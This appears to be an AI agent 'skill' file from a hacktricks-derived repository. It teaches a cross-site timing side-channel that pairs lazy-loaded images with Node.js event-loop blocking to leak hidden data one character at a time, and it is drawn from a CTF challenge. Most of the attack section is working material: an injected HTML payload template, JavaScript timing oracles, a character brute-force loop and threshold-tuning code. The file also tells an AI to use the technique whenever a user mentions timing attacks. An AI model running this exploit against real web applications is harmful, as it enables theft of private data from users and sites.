Hacktricks-skills lazy-image-sidechannel
How to perform timing-based side-channel attacks using lazy image loading and event loop blocking. Use this skill whenever the user mentions timing attacks, side-channel exploits, lazy loading vulnerabilities, image loading timing, event loop blocking, or wants to leak data through timing differences in web applications. This is especially useful for CTF challenges involving HTML injection with timing oracles, or when you need to extract hidden data through performance-based side channels.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/xs-search/event-loop-blocking-+-lazy-images/SKILL.MDLazy Image Side-Channel Attack
This skill teaches you how to perform timing-based side-channel attacks that combine lazy image loading with event loop blocking to leak characters from hidden data.
When to Use This Technique
Use this attack when:
- You have HTML/XSS injection capability
- The target uses lazy image loading (
)loading="lazy" - You can measure request/response timing
- The application loads content in a predictable order (alphabetical, chronological, etc.)
- You need to extract hidden data character-by-character
Core Concept
The attack exploits how browsers handle lazy image loading:
- Lazy images only load when visible - Images with
don't load until they scroll into viewportloading="lazy" - Event loop blocking - When many images load simultaneously, they block the Node.js event loop
- Timing oracle - Blocked event loop = slower responses, which you can measure
The Exploit Flow
┌─────────────────────────────────────────────────────────────┐ │ 1. Inject post with: │ │ - Character to test (e.g., "A" or "Z") │ │ - Large canvas (fills screen) │ │ - Many lazy images (at bottom, below fold) │ └─────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────┐ │ 2. If injected post is FIRST (alphabetically): │ │ - Canvas fills screen │ │ - Lazy images are BELOW fold → NOT loaded │ │ - Event loop NOT blocked → FAST responses │ └─────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────┐ │ 3. If injected post is AFTER flag: │ │ - Flag post appears first │ │ - Canvas + lazy images are VISIBLE → images LOAD │ │ - Event loop BLOCKED → SLOW responses │ └─────────────────────────────────────────────────────────────┘
Attack Implementation
Step 1: Craft the Payload
<!-- Template for character testing --> ${CHAR_TO_TEST}<br> <canvas height="3350px"></canvas><br> ${LAZY_IMAGES}
Where
LAZY_IMAGES is:
<img loading="lazy" src="/?0"> <img loading="lazy" src="/?1"> <img loading="lazy" src="/?2"> <!-- ... repeat 20+ times -->
Key parameters to tune:
: Must be large enough to push images below fold when post is firstcanvas height
: More images = more event loop blocking = clearer timing differencenumber of lazy images
: Measure on target to find the cutoff between "blocked" and "not blocked"timing threshold
Step 2: Measure Timing
async function measureTiming(targetUrl, rounds = 30) { let totalTime = 0; for (let i = 0; i < rounds; i++) { const start = performance.now(); await fetch(targetUrl + "/?test", { mode: "no-cors" }); const end = performance.now(); totalTime += (end - start); } return totalTime / rounds; // average per request }
Step 3: Binary Search for Characters
const charset = "abcdefghijklmnopqrstuvwxyz{}0123456789"; let flag = "SEKAI{"; async function leakCharacter() { for (const char of charset) { const testString = flag + char; const isBeforeFlag = await testCharacter(testString); if (isBeforeFlag) { flag += char; break; } } return flag; }
Step 4: Test Character Position
async function testCharacter(testString) { // 1. Inject post with test string + payload await injectPost(testString + payload); // 2. Wait for page to load await sleep(500); // 3. Open multiple tabs to trigger image loading for (let i = 0; i < 5; i++) { window.open(targetUrl); } // 4. Measure timing await sleep(200); const avgTime = await measureTiming(targetUrl); // 5. Clean up await removePost(); // 6. Return result based on threshold return avgTime >= THRESHOLD; // true = images loaded = post is after flag }
Tuning Parameters
Finding the Right Canvas Height
Test locally to find the height that:
- Shows images when post is NOT first (below flag)
- Hides images when post IS first (above flag)
// Test different heights const heights = [3000, 3200, 3350, 3500, 4000]; for (const h of heights) { const canvas = `<canvas height="${h}px"></canvas>`; // Test and measure timing difference }
Finding the Timing Threshold
Run multiple tests with known positions:
// Test with "A" (should be before flag) const timeA = await measureTiming(); // Test with "Z" (should be after flag) const timeZ = await measureTiming(); // Threshold should be between them const threshold = (timeA + timeZ) / 2;
Complete Exploit Template
See
scripts/exploit-template.js for a ready-to-use template.
Common Pitfalls
- Threshold too tight - Network variance can cause false positives. Use multiple rounds and average.
- Canvas height wrong - Images may load in both cases or neither. Test locally first.
- Not enough lazy images - Event loop blocking may be too subtle. Use 20+ images.
- Timing measurements too few - Use 30+ rounds for reliable averages.
- Not cleaning up - Remove test posts between iterations to avoid breaking the oracle.
When This Won't Work
- Target doesn't use lazy image loading
- You can't inject HTML
- Content isn't loaded in predictable order
- Server doesn't have event loop blocking vulnerability
- CORS prevents timing measurements
Related Techniques
- Connection pool exhaustion - Similar timing oracle, different mechanism
- DNS side-channels - Use DNS queries instead of HTTP timing
- Cache timing attacks - Exploit cache hit/miss timing differences
References
- Original exploit: https://gist.github.com/aszx87410/155f8110e667bae3d10a36862870ba45
- Author: @aszx87410
- Challenge: CTF with alphabetical post ordering